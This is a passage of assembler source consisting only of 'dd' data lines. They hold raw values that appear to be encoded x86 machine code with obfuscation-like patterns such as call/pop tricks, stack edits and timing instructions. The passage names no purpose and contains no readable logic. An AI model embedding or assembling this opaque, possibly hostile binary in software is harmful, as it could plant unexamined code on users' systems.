		dd 8905E70Ch, 0E70355BDh, 0B58B6105h, 5E7162Dh,	7E8h, 603A8C00h
		dd 71ACFBD3h, 1A01B589h, 0B5E05E7h, 0A0850FDBh,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 74C1C352h, 2B540FB8h, 8950D0AEh, 0E701819Dh
		dd 0A6BD8305h, 5EB0Ch, 2F840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 152BF1C3h
		dd 6EE9h, 6820F00h, 89000000h, 0E712019Dh, 0A685C705h
		dd 105EB0Ch, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 3719C357h, 705119DEh
		dd 565C7366h, 2DE95Fh, 81660000h, 0C7590FDFh, 0EB0CA685h
		dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8D50D648h, 0E721D19Dh, 2381F505h
		dd 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	8AC35242h, 0AFC7811Eh, 66367931h, 6ADB8Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B58942C3h, 5E72351h, 0F04C3F6h, 3C84h, 2995FF00h, 2B05E713h
		dd 0E717C5BDh, 860F5005h, 2, 489F88Bh, 53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 810F5C51h, 1, 495E9F9h, 890F0000h, 6, 12B5BD8Bh, 0B005E7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 60C35141h
		dd 4B11BD36h, 98305466h, 8970E60Fh, 0E71CDD8Dh,	8171E405h
		dd 3654D5EEh, 0D8B60F5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 80C35545h, 0CE814h, 0A4DD0000h, 44FACA86h
		dd 0E090CF8Eh, 8D29DF98h, 5E719EDh, 2EDF815Fh, 0BA39B7B5h
		dd 6, 0CE8h, 41107F00h,	4605CAD3h, 65951262h, 0CE87Ch
		dd 1DCB0000h, 3F2B13D6h, 0DF3CEC9Fh, 0BF0F9E38h, 8B5F5EF2h
		dd 0DB58BC3h, 0C105E709h, 0F76604E8h, 51006AE2h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 0FE53F11h, 0D82B03BBh, 2299BD23h, 8B5005E7h,	241C89FEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E9C35747h
		dd 0BD522257h, 0C5958995h, 0FF05E71Bh, 0E72715B5h, 0AC3FBE05h
		dd 95FF25AAh, 5E721C1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 34C35040h, 29BA70D5h,	0E709F5B5h, 6850F05h
		dd 9000000h, 0E7253985h, 0E900B005h, 10h, 0CFAE309Ah, 9AA37FB0h
		dd 40D14718h, 0AE3FF4D5h, 10E870E6h, 0DC000000h, 0D6E37482h
		dd 839A1449h, 4D60347Ah, 8B645880h, 0E722EDB5h,	71E45F05h
		dd 830F613Ch, 303h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 3DC35343h, 0A296E20Dh, 0BE960h, 0C2B70000h
		dd 0C5D1F2F4h, 0EC9BD655h, 10E978h, 0F6710000h,	0E1D84ACAh
		dd 0B29ABD49h, 0A76CC2FFh, 0F6133EEh, 9589D8B6h, 5E71CF9h
		dd 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 7F8448F6h, 0E39B6D7h, 6AC38Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 9F15BFC3h, 0FAA3BE62h, 0E8C11EDFh, 0EDBD3104h, 0E905E714h
		dd 0Fh,	1FBB8B4Ch, 2FB26A7Bh, 40B8EF92h, 66329672h, 0CE9E2F7h
		dd 5000000h, 39621781h,	0AD28DA12h, 0E95D02DDh,	0Dh, 31C80006h
		dd 7A67A03Dh, 29133C00h, 6AD82B1Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0ADFFC357h
		dd 0BD2829Ah, 8166CF40h, 584B01CEh, 2BFE8B66h, 0EC880FD8h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 86C3C356h, 0EB36E62Fh,	68E0Fh
		dd 0BD0B0000h, 5E72BFDh, 14E9h,	4D0CDD00h, 75EB8474h, 36177588h
		dd 0F8A0882Ah, 0E3EBAA02h, 7B9FFh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 91C7BAC3h
		dd 0F95E653Fh, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0F6DCC353h,	2597738Fh
		dd 8B66395Dh, 0FD93BF2h, 14E86h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8B601102h
		dd 0E727758Dh, 159D8905h, 6105E702h, 8BD98C66h,	0E7228DBDh
		dd 4C1F605h, 0E6840Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 831E44C3h, 4379BF66h
		dd 132995FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 1AB5AAC3h, 0FABB880Bh, 0CADBD29h
		dd 6A5B05E7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 60B4C357h, 0DBE08166h,	2DBD096Bh
		dd 6105E715h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0E2B5E2C3h, 5088BA2Eh, 343D62BBh
		dd 0F000008h, 3B86h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0A24645F2h, 895E263Ah
		dd 0E712F59Dh, 39E905h,	6E80000h, 0D3000000h, 61978FDAh
		dd 5EFB8B3Ch, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 71EB10C3h, 9A84C5C6h, 13E78153h
		dd 8B4133FDh, 0E8D88BC3h, 0Eh, 0F0AF291Fh, 0FF191426h
		dd 0FD5FD63h, 0B58B1B2Bh, 5E732F1h, 0CD85C75Eh,	7F05E707h
		dd 8B36D4EBh, 14E8F3h, 93210000h, 0AEC55032h, 62D77B8Ah
		dd 963AB79h, 0BD395706h, 5E9190Ah, 9F000000h, 1288E47h
		dd 8BC08B5Fh, 0E7040DBDh, 15BD8105h, 0D005E727h, 0F000007h
		dd 3D85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 7CB59C1Dh, 56CE859h, 0BF0F6588h
		dd 0F0B70FF0h, 271585FFh, 958905E7h, 5E71B51h, 2E7DBD8Bh
		dd 0B5FF05E7h, 5E72715h, 95FFF78Bh, 5E721C1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1BC35040h, 39DBA1B5h
		dd 6F75D079h, 292DBF34h, 8E971DEh, 0E2000000h, 5C8DDC7Ch
		dd 904EC062h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	5CC35646h, 0EBD10045h, 7A079A60h, 0AF9B529h, 0B70F05E7h
		dd 55006AF2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 850E787Eh, 6A724C33h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0EFECC352h
		dd 96A35B72h, 0FCAA421h, 38Ch, 0FEBF0F00h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch
		dd 70C35242h, 0BD8C3BD1h, 0E51A27FFh, 7B06E781h, 0BF667E93h
		dd 8D89F1CDh, 5E72461h,	6AF78B66h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66F6C355h
		dd 8ECFCE81h, 128D0Fh, 95890000h, 5E72045h, 7E9h, 38DA8200h
		dd 5369F3D3h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	64C35242h, 2F16C7A9h, 0FCAC1B6h, 68Dh, 0CD9D8900h
		dd 8B05E716h, 0E70B89BDh, 0F769E905h, 6AFFFFh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B58B43C3h, 5E72055h, 0A99D8960h, 0B905E72Bh, 0FFFFFFFEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 67C35141h
		dd 0E68C8EC3h, 5F41E4C5h, 0BF0F5399h, 11E95BD2h, 65000000h
		dd 0B4A270EDh, 0B45E97Bh, 578E3C2Dh, 443E9A71h,	6AD8D21h
		dd 0B86605E7h, 8D2148DFh, 5E721D1h, 22C68166h, 0AD8D8B4Bh
		dd 8005E706h, 0E1837FD8h, 6850F01h, 3000000h, 0E708F1BDh
		dd 0D18D8B05h, 8B05E721h, 0E7034995h, 1E18305h,	30850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0BD00FC3h, 0BE94D4Eh, 0DC000000h,	544A9ECFh
		dd 0B8816C24h, 60617292h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 84C35747h, 0B9A75714h, 0FFFFFFFEh, 135BD8Bh
		dd 8D2105E7h, 5E72979h,	1122BCBBh, 0A58D2143h, 6A05E71Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0ABC1C355h, 0B866D1CBh, 0E480BF36h, 798D8B74h
		dd 6A05E729h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 27BDC357h, 0FFCCB68h, 28Fh, 8336B400h
		dd 850F01E1h, 25h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0A7C35242h, 0DBB13F7Dh, 35604CA9h, 0A58D8B96h
		dd 8005E71Bh, 0E183D0DFh, 27850F01h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 7B5EC353h, 0A0EF4A5Bh, 20A18D09h, 606105E7h,	0B9D6DC80h
		dd 0FFFFFFFEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	9FC35646h, 0E9158E6Ah, 5, 0FDAF4CDEh, 958D2109h
		dd 0F05E707h, 68Fh, 4D9D8B00h, 2105E703h, 0E71A558Dh, 0C18B6605h
		dd 7958D8Bh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0FB5941C3h, 0BA142982h, 8589AA96h
		dd 5E71665h, 27698D29h,	83F505E7h, 850F01E1h, 24h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C7C35747h, 0C94F3B0Ah
		dd 0DFBF0F7Ch, 1A558D8Bh, 852905E7h, 5E7016Dh, 0F01E183h
		dd 685h, 0C19D2900h, 6105E707h,	57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 87D3AC9Dh
		dd 195310Bh, 0B905E715h, 0FFFFFFFEh, 1509B58Bh,	6E905E7h
		dd 62000000h, 0A01D4593h, 5D8D2187h, 0F05E718h,	18Fh, 858BFC00h
		dd 5E716BDh, 7CD8D21h, 8D2905E7h, 5E71D19h, 185D8D8Bh
		dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0BF0699C3h, 65AADBDBh, 0F01E183h,	2285h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0B5BD8B66h, 8B05E713h, 0E707CD8Dh, 0A1958B05h
		dd 8305E704h, 850F01E1h, 29h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 90C35646h, 0C1385824h, 290FB874h
		dd 0E72F3DBDh, 6A606105h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 9C0C357h, 518CAFF5h
		dd 4029A2Dh, 271585C7h,	7D005E7h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 866272C3h
		dd 958B2068h, 5E713CDh,	56006A61h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 4F5B9EEEh, 8070D769h
		dd 0DF80B6C7h, 6107EBACh, 0E99Dh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 30E6D1C3h
		dd 3276B79Ah, 0BE815h, 0E9570000h, 0B0593499h, 53AC1D99h
		dd 0B700B9F6h, 6A585163h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 819CC356h, 0D383A948h
		dd 21498D89h, 0EF8105E7h, 21F00110h, 4BEBC18Bh,	2F0E0910h
		dd 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h
		dd 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 7B00A6DBh
		dd 1A00469Dh, 0D5A3EAh,	9C000000h, 0FEC919h, 0FBFE4700h
		dd 28000000h, 0D427E641h, 0E9C3727Dh, 0BE1h, 21718D8Bh
		dd 0BD8305E7h, 5E72B8Dh, 58850F00h, 29000000h, 0E72875BDh
		dd 1F820F05h, 0E8000000h, 13h, 42CBE61Ah, 31DEDFF2h, 5DD2B47Bh
		dd 211A2B30h, 29758540h, 0E724158Dh, 0B85A05h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0B451C352h, 4C22220h, 559D2900h, 8B05E727h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 5F0ED217h, 4F4CFE4Ch, 1D599533h,	0BD8305E7h
		dd 5E70C81h, 83097500h,	0E72819BDh, 13740005h, 0C08B5350h
		dd 4D0B8h, 679D8D00h, 0FF05E9B2h, 83585BD3h, 0E72819BDh
		dd 11740005h, 0D0B85350h, 8D000004h, 0E9B1B49Dh, 5BD3FF05h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0ED057B10h, 116D8F10h, 0BD59589h, 0C08B05E7h
		dd 8045C381h, 858D0886h, 5EB1BD2h, 1465BD8Bh, 609005E7h
		dd 0BE8h, 0D066FF00h, 0F5FC7D8h, 0C5ACAF15h, 0BE9h, 9ECC3500h
		dd 0DF8B1069h, 2BFAFBB1h, 9E9605Ah, 0E4000000h,	2C26DE6h
		dd 1BE2B09Ch, 310F5250h, 6161585Ah, 0CD47BB50h,	0F907996h
		dd 858DDAB7h, 5EB1B8Fh,	6E9h, 3C6C7100h, 90CE6A5Fh, 7EBA6653h
		dd 50505AEAh, 0BAB96652h, 0E9310F85h, 8, 0BA23151Bh, 6351EAABh
		dd 6A90585Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0A09AC353h, 0CF61081Ah, 0ADD95FFh
		dd 0F18105E7h, 269633BDh, 424448Bh, 0CB2BF66h, 1BBA8589h
		dd 0BE905EBh, 0DE000000h, 0D27E58BAh, 0D374322Fh, 448B768Fh
		dd 0BD890824h, 5E71561h, 1BCE8589h, 0C98005EBh,	0E9BD83B1h
		dd 5E701h, 7B850Fh, 0C6F50000h,	0E732A585h, 9D294705h
		dd 5E70139h, 4E8h, 9AA7D200h, 870F50D4h, 7, 2C58BB57h
		dd 8B5F3AEEh, 0BB042444h, 0CCF954Bh, 4489008Bh,	0DF8B0424h
		dd 0AE958h, 0F0310000h,	54FC81C8h, 4108FA86h, 2B05B5FFh
		dd 0BF0F05E7h, 1B350D2h, 0A1858D5Bh, 3105EA7Dh,	0E7006995h
		dd 58A0F05h, 66000000h,	6147EB81h, 0E580D0FFh, 0E985890Ch
		dd 8B05E701h, 0E724618Dh, 0E1BD8305h, 5E719h, 0BA850Fh
		dd 81660000h, 0C6001BD9h, 0E732A585h, 6A4705h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 29D4A3C3h, 0E808A586h, 4, 8A0FB5E2h
		dd 901F6EB9h, 448B5063h, 0CE90424h, 26000000h, 62F4B281h
		dd 7F9B57A8h, 8BB858A4h, 2EB95000h, 5B7BCD81h, 4244489h
		dd 4850Fh, 0BF660000h, 6A58967Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F0EEC355h
		dd 8B28F6EFh, 0E7097D9Dh, 5B5FF05h, 6605E72Bh, 858DD78Bh
		dd 5EA7DA1h, 0DACEE181h, 0D0FF101Fh, 0C5858B60h, 6105E721h
		dd 19E18589h, 9D2905E7h, 5E71515h, 2561BD83h, 0F0005E7h
		dd 8F85h, 859D8B00h, 0C605E705h, 0E732A585h, 0CE8B5605h
		dd 617BCF68h, 818EB2BDh, 0F16A2404h, 816616BDh,	0FFF7F8D3h
		dd 0E72B05B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 73BB1FFBh, 6A20EC03h
		dd 2D8D8BA9h, 0F05E71Ah, 683h, 0B3D78100h, 8D6BB494h, 0EA7DA185h
		dd 0EAA9B905h, 0D0FF20E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 86C35545h, 25618589h,	0CF8B05E7h, 32A585C6h
		dd 0E96C05E7h, 0Eh, 1293010Bh, 0F08CA09Ch, 0E5468E9Dh
		dd 7D685E50h, 8A774867h, 240481FCh, 63BD0906h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h, 0B884F300h
		dd 0BEDE423Fh, 1CBF66F7h, 99B5FF04h, 6605E708h,	8D9EE9B9h
		dd 0E7392A85h, 0FFFE8B05h, 0DDBD29D0h, 8905E71Ch, 0EB1BBE85h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0DA073A8Dh, 0C870F8Bh, 0F000000h, 681h
		dd 59B58900h, 6A05E71Ah, 51006A04h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 67785D0Ah, 0F7D77642h
		dd 23519509h, 0D28005E7h, 7158686Eh, 28B3E239h,	0A8240481h
		dd 6A1DC69Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0AEEBC350h, 8E1E4990h,	0DE8B4A81h
		dd 4E8h, 1000000h, 5B575000h, 424448Bh,	8BD08Bh, 4244489h
		dd 66525060h, 310FCB8Bh, 5ADF8B66h, 60525058h, 0F310F61h
		dd 8Ah,	61585A00h, 50006A58h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1704h, 0C3504000h, 9838096Dh, 92E18166h
		dd 8820F7Ah, 53000000h,	27E98529h, 6A5F05E7h, 0DD95FF00h
		dd 6A05E707h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0E6BCC353h, 0AB6F6F5h,	918D8944h
		dd 8905E70Ch, 0EB1BCA85h, 0A9BD8B05h, 6A05E704h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 9CC0A080h, 9CBA810Eh, 686D189Ch, 0AA82CFA1h,	66DE8B60h
		dd 8161DF8Bh, 305F2404h, 0BD89557Eh, 5E71839h, 895B5650h
		dd 85012404h, 5E721A5h,	6A0B6Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 3BFD01C3h, 0ED986EE8h
		dd 9E8E5h, 1E3E0000h, 4E96815h,	6655D29Ch, 0F6B6F781h
		dd 97858D5Fh, 8005EB1Bh, 665070C2h, 896CC2BAh, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0A7BAB4C3h, 0FF1D8B59h, 0E701E995h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0AE96329h, 34000000h, 5FEB0615h, 79B4B803h, 0A1B58DC5h
		dd 5105EB1Bh, 3F51D4B9h, 66965968h, 50AC04BFh, 50006A96h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 50D922DCh, 131C54A2h, 0D6805609h, 7E95022h, 0C8000000h
		dd 637D83D3h, 4899CFBh,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 17E79EFh, 0B19B4188h
		dd 0A147C281h, 0BA661E0Fh, 95FF0EE8h, 5E719E1h,	0D0FFCB8Ah
		dd 0B58BF98Bh, 5EB1BCAh, 6800Fh, 66500000h, 5A25E1BFh
		dd 1BC285C7h, 5EBh, 0EE90000h, 0FC000000h, 9F7ECF3Ch, 0B50FFF15h
		dd 7723C0EDh, 207E80A1h, 0B3840F00h, 6A000002h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0C337C355h, 0B2DEFF5Eh, 9E96050h, 99000000h,	0E58CA359h
		dd 698F4CBEh, 6A20468Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 1B2C353h, 6DBD8B74h
		dd 8905E712h, 0EB1BC685h, 13E905h, 2CC50000h, 2F43BDC8h
		dd 0D27A89FDh, 55776713h, 0C4CB9080h, 0FE9EBh, 0F9560000h
		dd 6F41BA59h, 89404622h, 0E72C4985h, 388005h, 0FFF0850Fh
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 9E1BF6C3h, 958BAEFEh, 5E72539h, 0CE9h, 99D8B00h
		dd 4805E716h, 0B13458BFh, 5C38801Eh, 3F840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0DEF3D2C3h, 6AB5907Dh, 0F2F3880h, 1484h, 3BCF8B00h
		dd 0EB1BC685h, 0B8830F05h, 33FFFFFFh, 0E70C859Dh, 0BD834005h
		dd 5EB1BCEh, 9D840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0ECCAC350h
		dd 892865B9h, 0E71BD99Dh, 0E2EA8005h, 0FE86090h, 79000000h
		dd 0F92DB6B3h, 0B95DA55Dh, 2E624A14h, 52505A3Ah, 585A310Fh
		dd 9E85Fh, 4A1F0000h, 0B79EF21Bh, 6658C49Ah, 615BDF8Bh
		dd 0FFBF6650h, 0EBB390F1h, 1BCE8503h, 0E98005EBh, 0C661h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 99C35747h
		dd 0B3E6D27Fh, 9880F58h, 60000000h, 81665956h, 6174D3D2h
		dd 0F88B6650h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0EDFCC350h,	0A57A7A61h
		dd 8B48D4B4h, 0E7047595h, 0BAB5FF05h, 105EB1Bh,	0E7330D9Dh
		dd 81BD2905h, 0FF05E72Ah, 0EB1BBE95h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 1237054h, 0E72C39BDh, 0FC00B05h, 6085h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0DE69B4A8h, 0B4D9523h, 296105E7h, 0E70AC59Dh, 0C285C705h
		dd 105EB1Bh, 33000000h,	0E720059Dh, 40E905h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 82C85BC3h, 81666128h, 891B0DDBh, 0E713A595h,	1CC68105h
		dd 66000001h, 0E92FDEB9h, 0FFFFFD49h, 2AD59589h, 1E6805E7h
		dd 0F374EBFh, 489h, 84BA6600h, 243481A6h, 374E3F1Eh, 40473B9h
		dd 55BD8B09h, 6A05E724h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 2125330Ch, 14E89B59h
		dd 0EB000000h, 10067846h, 68A1506Eh, 7BCE50B5h,	0AE01AC6Bh
		dd 60FA3A4Eh, 1D19BD8Bh, 958905E7h, 5E71969h, 0B5FF5961h
		dd 5EB1BCAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0BDC35242h, 0D68B6676h,	256195FFh, 6A05E7h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 9E8AE3C3h, 0BD8B1C5Fh, 5E706C9h, 0C018D8Bh, 858B05E7h
		dd 5EB1BC2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	4FC35343h, 5CB78012h, 0B83BCB81h, 0B29014B6h, 0BA66506Ah
		dd 6A90D822h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 37A3C353h, 86068638h, 8D492C34h
		dd 0EB1BD285h, 0D8BF0F05h, 89DE8B50h, 0BB662404h, 858DA850h
		dd 5EB1B8Fh, 50DF8B90h,	0B4605250h, 19B96626h, 310F613Eh
		dd 0CE8A5250h, 4AB6310Fh, 585A585Ah, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FA8B36Bh
		dd 89h,	5595FF00h, 2905E71Dh, 0E729158Dh, 31C08B05h, 0E70B21BDh
		dd 81BD8305h, 5E70Ch, 0BD830975h, 5E72819h, 50137400h
		dd 0B8C08B53h, 4D0h, 0B2CE9D8Dh, 0D3FF05E9h, 0BD83585Bh
		dd 5E72819h, 50117400h,	4D0B853h, 9D8D0000h, 5E9B1CDh
		dd 585BD3FFh, 38A0Fh, 8B660000h, 0FC08BDFh, 6A58FFB7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E980C355h, 6, 7631F31Bh,	8C234C4h, 6860F00h
		dd 8B000000h, 0E706B195h, 6AC08B05h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C3F5C356h
		dd 0E5F04414h, 8166325Ah, 0F8A2D4DFh, 1BE5858Dh, 6A05EBh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 47D953C3h, 31858998h, 0E805E71Ch, 10h, 0D3A02996h, 0C262563Bh
		dd 0BED7B731h, 321B8A4Eh, 0E95EB3B1h, 5, 586CAD71h, 0A8C681B0h
		dd 0E9000062h, 0Fh, 0EFB22AA0h,	0AFD51D58h, 60C12CECh
		dd 0BB493810h, 0
		dd 34FFA7B0h, 0B5096033h, 5E712C9h, 14D9D31h, 5A6105E7h
		dd 0AF8DF281h, 0BF665084h, 0C2815C40h, 24DB09C9h, 0C9BF0F60h
		dd 0C2C28161h, 0F182636h, 89h, 1E148900h, 0CE9h, 2574EC00h
		dd 543D3D9Ch, 606B2F41h, 0EB81F81Ah, 3DE52E64h,	0A5BAB966h
		dd 2E60C381h, 0B5893DE5h, 5E71569h, 9DFCFB81h, 850FFFFFh
		dd 0FFFFFF96h, 55006A60h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 641D2181h, 0DFCAAD6Fh
		dd 0C08B3066h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	7DC35343h, 0FAB15CAAh, 5060F519h, 29558529h, 615F05E7h
		dd 81BD83FCh, 5E70Ch, 0BD830975h, 5E72819h, 50197400h
		dd 0B8C08B53h, 438h, 47D8589h, 9D8D05E7h, 5E9B493h, 585BD3FFh
		dd 2819BD83h, 740005E7h, 0B8535017h, 438h, 47D8589h, 9D8D05E7h
		dd 5E9B182h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 69C35343h, 8718DAE2h,	0B418D89h, 6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D51B43C3h, 0B824F01Dh, 0E9C08B5Fh, 13h, 0B07BBD70h
		dd 5A596E0Bh, 3D2D32FEh, 4AE6BB44h, 0E890628Ch,	96Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 3BC35242h, 53DF1DCAh
		dd 0E83507BBh, 12h, 51C7FA9Fh, 5B211796h, 0A52882C8h, 6DD8C67Ah
		dd 60606474h, 51B58B61h, 6105E71Bh, 6D26B959h, 85891935h
		dd 5E71CE1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	42C35141h, 0E83E079Eh, 8F6h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0CCC35040h,	0C27DF0ACh, 0FC6D9072h
		dd 0F7BF0F00h, 22F98589h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
